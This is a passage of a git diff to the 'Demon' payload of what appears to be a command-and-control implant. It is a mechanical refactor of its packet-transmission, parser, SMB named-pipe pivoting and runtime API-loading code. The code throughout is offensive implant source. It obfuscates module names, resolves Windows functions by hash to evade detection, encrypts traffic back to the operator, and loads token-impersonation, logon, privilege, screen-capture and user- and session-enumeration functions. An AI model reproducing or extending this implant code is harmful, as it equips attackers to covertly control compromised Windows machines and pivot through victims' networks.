AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); - Entry = Instance.Packages; + Entry = Instance->Packages; Prev = NULL; if ( Success ) @@ -412,17 +412,17 @@ BOOL PackageTransmitAll( if ( Entry->Included ) { // is this the first entry? - if ( Entry == Instance.Packages ) + if ( Entry == Instance->Packages ) { // update the start of the list - Instance.Packages = Entry->Next; + Instance->Packages = Entry->Next; // remove the entry if required if ( Entry->Destroy ) { PackageDestroy( Entry ); Entry = NULL; } - Entry = Instance.Packages; + Entry = Instance->Packages; Prev = NULL; } else diff --git a/payloads/Demon/src/core/Parser.c b/payloads/Demon/src/core/Parser.c index 9f0aa41..aaa6809 100644 --- a/payloads/Demon/src/core/Parser.c +++ b/payloads/Demon/src/core/Parser.c @@ -9,7 +9,7 @@ VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size ) if ( parser == NULL ) return; - parser->Original = Instance.Win32.LocalAlloc( LPTR, size ); + parser->Original = Instance->Win32.LocalAlloc( LPTR, size ); MemCopy( parser->Original, Buffer, size ); @@ -170,7 +170,7 @@ VOID ParserDestroy( PPARSER Parser ) if ( Parser->Original ) { MemSet( Parser->Original, 0, Parser->Size ); - Instance.Win32.LocalFree( Parser->Original ); + Instance->Win32.LocalFree( Parser->Original ); Parser->Original = NULL; Parser->Buffer = NULL; } diff --git a/payloads/Demon/src/core/Pivot.c b/payloads/Demon/src/core/Pivot.c index 2a8a897..439dc03 100644 --- a/payloads/Demon/src/core/Pivot.c +++ b/payloads/Demon/src/core/Pivot.c @@ -14,8 +14,8 @@ * * Add it to the first token (parent): * - * Pivot->Next = Instance.SmbPivots; - * Instance.SmbPivots = Pivot; + * Pivot->Next = Instance->SmbPivots; + * Instance->SmbPivots = Pivot; * * Might reduce some code which i care more than * pivot order. @@ -28,7 +28,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) PRINTF( "Connecting to named pipe: %ls\n", NamedPipe.Buffer ); - Handle = Instance.Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); + Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( Handle == INVALID_HANDLE_VALUE ) { @@ -38,7 +38,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) if ( NtGetLastError() == ERROR_PIPE_BUSY ) { - if ( ! Instance.Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) ) + if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) ) { return FALSE; } @@ -47,16 +47,16 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) do { // TODO: first get the size then parse - if ( Instance.Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) ) + if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) ) { if ( *BytesSize > 0 ) { PRINTF( "BytesSize => %d\n", *BytesSize ); - *Output = Instance.Win32.LocalAlloc( LPTR, *BytesSize ); + *Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize ); MemSet( *Output, 0, *BytesSize ); - if ( Instance.Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) ) + if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) ) { PRINTF( "BytesSize Read => %d\n", *BytesSize ); break; @@ -81,21 +81,21 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) { PRINTF( "Pivot :: Output[%p] Size[%d]\n", *Output, *BytesSize ) - Data = Instance.Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) ); + Data = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) ); Data->Handle = Handle; Data->Next = NULL; Data->DemonID = PivotParseDemonID( *Output, *BytesSize ); - Data->PipeName.Buffer = Instance.Win32.LocalAlloc( LPTR, NamedPipe.Length ); + Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length ); Data->PipeName.Length = NamedPipe.Length; MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length ); - if ( ! Instance.SmbPivots ) + if ( ! Instance->SmbPivots ) { - Instance.SmbPivots = Data; + Instance->SmbPivots = Data; } else { - PPIVOT_DATA PivotList = Instance.SmbPivots; + PPIVOT_DATA PivotList = Instance->SmbPivots; do { @@ -120,7 +120,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) PPIVOT_DATA PivotGet( DWORD AgentID ) { - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; do { if ( TempList ) @@ -140,38 +140,38 @@ BOOL PivotRemove( DWORD AgentId ) { PRINTF( "Remove pivot %x\n", AgentId ) - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = PivotGet( AgentId ); BOOL Success = FALSE; if ( ( ! TempList ) || ( ! PivotData ) ) return FALSE; - if ( Instance.SmbPivots->DemonID == AgentId ) + if ( Instance->SmbPivots->DemonID == AgentId ) { - PPIVOT_DATA TempNext = Instance.SmbPivots->Next; + PPIVOT_DATA TempNext = Instance->SmbPivots->Next; - if ( Instance.SmbPivots->PipeName.Buffer ) + if ( Instance->SmbPivots->PipeName.Buffer ) { - MemSet( Instance.SmbPivots->PipeName.Buffer, 0, Instance.SmbPivots->PipeName.Length ); - Instance.Win32.LocalFree( Instance.SmbPivots->PipeName.Buffer ); + MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length ); + Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer ); } - if ( Instance.SmbPivots->Handle ) + if ( Instance->SmbPivots->Handle ) { - Instance.Win32.DisconnectNamedPipe( Instance.SmbPivots->Handle ); - SysNtClose( Instance.SmbPivots->Handle ); + Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle ); + SysNtClose( Instance->SmbPivots->Handle ); } - Instance.SmbPivots->PipeName.Buffer = NULL; - Instance.SmbPivots->PipeName.Length = 0; - Instance.SmbPivots->Handle = NULL; - Instance.SmbPivots->DemonID = 0; + Instance->SmbPivots->PipeName.Buffer = NULL; + Instance->SmbPivots->PipeName.Length = 0; + Instance->SmbPivots->Handle = NULL; + Instance->SmbPivots->DemonID = 0; - MemSet( Instance.SmbPivots, 0, sizeof( PIVOT_DATA ) ); - Instance.Win32.LocalFree( Instance.SmbPivots ); + MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) ); + Instance->Win32.LocalFree( Instance->SmbPivots ); - Instance.SmbPivots = TempNext; + Instance->SmbPivots = TempNext; return TRUE; } @@ -186,12 +186,12 @@ BOOL PivotRemove( DWORD AgentId ) if ( PivotData->PipeName.Buffer ) { MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length ); - Instance.Win32.LocalFree( PivotData->PipeName.Buffer ); + Instance->Win32.LocalFree( PivotData->PipeName.Buffer ); } if ( PivotData->Handle ) { - Instance.Win32.DisconnectNamedPipe( PivotData->Handle ); + Instance->Win32.DisconnectNamedPipe( PivotData->Handle ); SysNtClose( PivotData->Handle ); } @@ -201,7 +201,7 @@ BOOL PivotRemove( DWORD AgentId ) PivotData->DemonID = 0; MemSet( PivotData, 0, sizeof( PIVOT_DATA ) ); - Instance.Win32.LocalFree( PivotData ); + Instance->Win32.LocalFree( PivotData ); PivotData = NULL; return TRUE; @@ -217,7 +217,7 @@ BOOL PivotRemove( DWORD AgentId ) DWORD PivotCount() { - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; DWORD Counter = 0; do { @@ -235,7 +235,7 @@ DWORD PivotCount() VOID PivotPush() { PPACKAGE Package = NULL; - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; DWORD BytesSize = 0; DWORD Length = 0; PVOID Output = NULL; @@ -256,16 +256,16 @@ VOID PivotPush() NumLoops = 0; do { - if ( Instance.Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) ) + if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize >= sizeof( UINT32 ) ) { - if ( Instance.Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) ) + if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) ) { Length = __builtin_bswap32( Length ) + sizeof( UINT32 ); - Output = Instance.Win32.LocalAlloc( LPTR, Length ); + Output = Instance->Win32.LocalAlloc( LPTR, Length ); - if ( Instance.Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) ) + if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) ) { Package = PackageCreate( DEMON_COMMAND_PIVOT ); PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND ); diff --git a/payloads/Demon/src/core/Runtime.c b/payloads/Demon/src/core/Runtime.c index ab826cd..d329e3e 100644 --- a/payloads/Demon/src/core/Runtime.c +++ b/payloads/Demon/src/core/Runtime.c @@ -22,37 +22,37 @@ BOOL RtAdvapi32( ModuleName[ 5 ] = HideChar('I'); ModuleName[ 4 ] = HideChar('P'); - if ( ( Instance.Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.GetTokenInformation = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETTOKENINFORMATION ); - Instance.Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW ); - Instance.Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW ); - Instance.Win32.RevertToSelf = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_REVERTTOSELF ); - Instance.Win32.GetUserNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETUSERNAMEA ); - Instance.Win32.LogonUserW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOGONUSERW ); - Instance.Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA ); - Instance.Win32.LookupAccountSidA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA ); - Instance.Win32.LookupAccountSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW ); - Instance.Win32.OpenThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENTHREADTOKEN ); - Instance.Win32.OpenProcessToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN ); - Instance.Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES ); - Instance.Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA ); - Instance.Win32.SystemFunction032 = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 ); - Instance.Win32.FreeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_FREESID ); - Instance.Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL ); - Instance.Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL ); - Instance.Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR ); - Instance.Win32.AddMandatoryAce = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADDMANDATORYACE ); - Instance.Win32.InitializeAcl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZEACL ); - Instance.Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID ); - Instance.Win32.CheckTokenMembership = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP ); - Instance.Win32.SetEntriesInAclW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETENTRIESINACLW ); - Instance.Win32.SetThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETTHREADTOKEN ); - Instance.Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR ); - Instance.Win32.EqualSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_EQUALSID ); - Instance.Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW ); - Instance.Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT ); - Instance.Win32.GetSidSubAuthority = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY ); + Instance->Win32.GetTokenInformation = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION ); + Instance->Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW ); + Instance->Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW ); + Instance->Win32.RevertToSelf = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF ); + Instance->Win32.GetUserNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA ); + Instance->Win32.LogonUserW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW ); + Instance->Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA ); + Instance->Win32.LookupAccountSidA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA ); + Instance->Win32.LookupAccountSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW ); + Instance->Win32.OpenThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN ); + Instance->Win32.OpenProcessToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN ); + Instance->Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES ); + Instance->Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA ); + Instance->Win32.SystemFunction032 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 ); + Instance->Win32.FreeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID ); + Instance->Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL ); + Instance->Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL ); + Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR ); + Instance->Win32.AddMandatoryAce = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE ); + Instance->Win32.InitializeAcl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL ); + Instance->Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID ); + Instance->Win32.CheckTokenMembership = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP ); + Instance->Win32.SetEntriesInAclW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW ); + Instance->Win32.SetThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN ); + Instance->Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR ); + Instance->Win32.EqualSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID ); + Instance->Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW ); + Instance->Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT ); + Instance->Win32.GetSidSubAuthority = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY ); PUTS( "Loaded Advapi32 functions" ) } else { @@ -70,7 +70,7 @@ BOOL RtMscoree( ) { CHAR ModuleName[ 12 ] = { 0 }; - if ( Instance.Win32.CLRCreateInstance ) + if ( Instance->Win32.CLRCreateInstance ) return TRUE; ModuleName[ 1 ] = HideChar('S'); @@ -86,9 +86,9 @@ BOOL RtMscoree( ModuleName[ 6 ] = HideChar('E'); ModuleName[ 3 ] = HideChar('O'); - if ( ( Instance.Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.CLRCreateInstance = LdrFunctionAddr( Instance.Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE ); + Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE ); PUTS( "Loaded Mscoree functions" ) } else { @@ -119,15 +119,15 @@ BOOL RtOleaut32( ModuleName[ 9 ] = HideChar('D'); ModuleName[ 8 ] = HideChar('.'); - if ( ( Instance.Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.SafeArrayAccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA ); - Instance.Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA ); - Instance.Win32.SafeArrayCreate = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE ); - Instance.Win32.SafeArrayPutElement = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT ); - Instance.Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR ); - Instance.Win32.SafeArrayDestroy = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY ); - Instance.Win32.SysAllocString = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SYSALLOCSTRING ); + Instance->Win32.SafeArrayAccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA ); + Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA ); + Instance->Win32.SafeArrayCreate = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE ); + Instance->Win32.SafeArrayPutElement = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT ); + Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR ); + Instance->Win32.SafeArrayDestroy = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY ); + Instance->Win32.SysAllocString = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING ); PUTS( "Loaded Oleaut32 functions" ) } else { @@ -156,12 +156,12 @@ BOOL RtUser32( ModuleName[ 2 ] = HideChar('E'); ModuleName[ 4 ] = HideChar('3'); - if ( ( Instance.Modules.User32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.ShowWindow = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_SHOWWINDOW ); - Instance.Win32.GetSystemMetrics = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETSYSTEMMETRICS ); - Instance.Win32.GetDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETDC ); - Instance.Win32.ReleaseDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_RELEASEDC ); + Instance->Win32.ShowWindow = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW ); + Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS ); + Instance->Win32.GetDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC ); + Instance->Win32.ReleaseDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC ); PUTS( "Loaded User32 functions" ) } else { @@ -191,9 +191,9 @@ BOOL RtShell32( ModuleName[ 3 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('E'); - if ( ( Instance.Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.CommandLineToArgvW = LdrFunctionAddr( Instance.Modules.Shell32, H_FUNC_COMMANDLINETOARGVW ); + Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW ); PUTS( "Loaded Shell32 functions" ) } else { @@ -222,10 +222,10 @@ BOOL RtMsvcrt( ModuleName[ 5 ] = HideChar('T'); ModuleName[ 1 ] = HideChar('S'); - if ( ( Instance.Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.vsnprintf = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_VSNPRINTF ); - Instance.Win32.swprintf_s = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_SWPRINTF_S ); + Instance->Win32.vsnprintf = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF ); + Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S ); PUTS( "Loaded Msvcrt functions" ) } else { @@ -256,9 +256,9 @@ BOOL RtIphlpapi( ModuleName[ 4 ] = HideChar('P'); ModuleName[ 7 ] = HideChar('I'); - if ( ( Instance.Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.GetAdaptersInfo = LdrFunctionAddr( Instance.Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO ); + Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO ); PUTS( "Loaded Iphlpapi functions" ) } else { @@ -286,16 +286,16 @@ BOOL RtGdi32( ModuleName[ 0 ] = HideChar('G'); ModuleName[ 3 ] = HideChar('3'); - if ( ( Instance.Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.GetCurrentObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETCURRENTOBJECT ); - Instance.Win32.GetObjectW = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETOBJECTW ); - Instance.Win32.CreateCompatibleDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC ); - Instance.Win32.CreateDIBSection = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATEDIBSECTION ); - Instance.Win32.SelectObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_SELECTOBJECT ); - Instance.Win32.BitBlt = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_BITBLT ); - Instance.Win32.DeleteObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEOBJECT ); - Instance.Win32.DeleteDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEDC ); + Instance->Win32.GetCurrentObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT ); + Instance->Win32.GetObjectW = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW ); + Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC ); + Instance->Win32.CreateDIBSection = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION ); + Instance->Win32.SelectObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT ); + Instance->Win32.BitBlt = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT ); + Instance->Win32.DeleteObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT ); + Instance->Win32.DeleteDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC ); PUTS( "Loaded Gdi32 functions" ) } else { @@ -326,15 +326,15 @@ BOOL RtNetApi32( ModuleName[ 1 ] = HideChar('E'); ModuleName[ 7 ] = HideChar('2'); - if ( ( Instance.Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM ); - Instance.Win32.NetGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETGROUPENUM ); - Instance.Win32.NetUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETUSERENUM ); - Instance.Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM ); - Instance.Win32.NetSessionEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSESSIONENUM ); - Instance.Win32.NetShareEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSHAREENUM ); - Instance.Win32.NetApiBufferFree = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE ); + Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM ); + Instance->Win32.NetGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM ); + Instance->Win32.NetUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM ); + Instance->Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM ); + Instance->Win32.NetSessionEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM ); + Instance->Win32.NetShareEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM ); + Instance->Win32.NetApiBufferFree = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE ); PUTS( "Loaded NetApi32 functions" ) } else { @@ -363,22 +363,22 @@ BOOL RtWs2_32( ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); - if ( ( Instance.Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.WSAStartup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASTARTUP ); - Instance.Win32.WSACleanup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSACLEANUP ); - Instance.Win32.WSASocketA = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASOCKETA ); - Instance.Win32.WSAGetLastError = LdrFunctionAddr( Instance.Modules.Ws2_32, 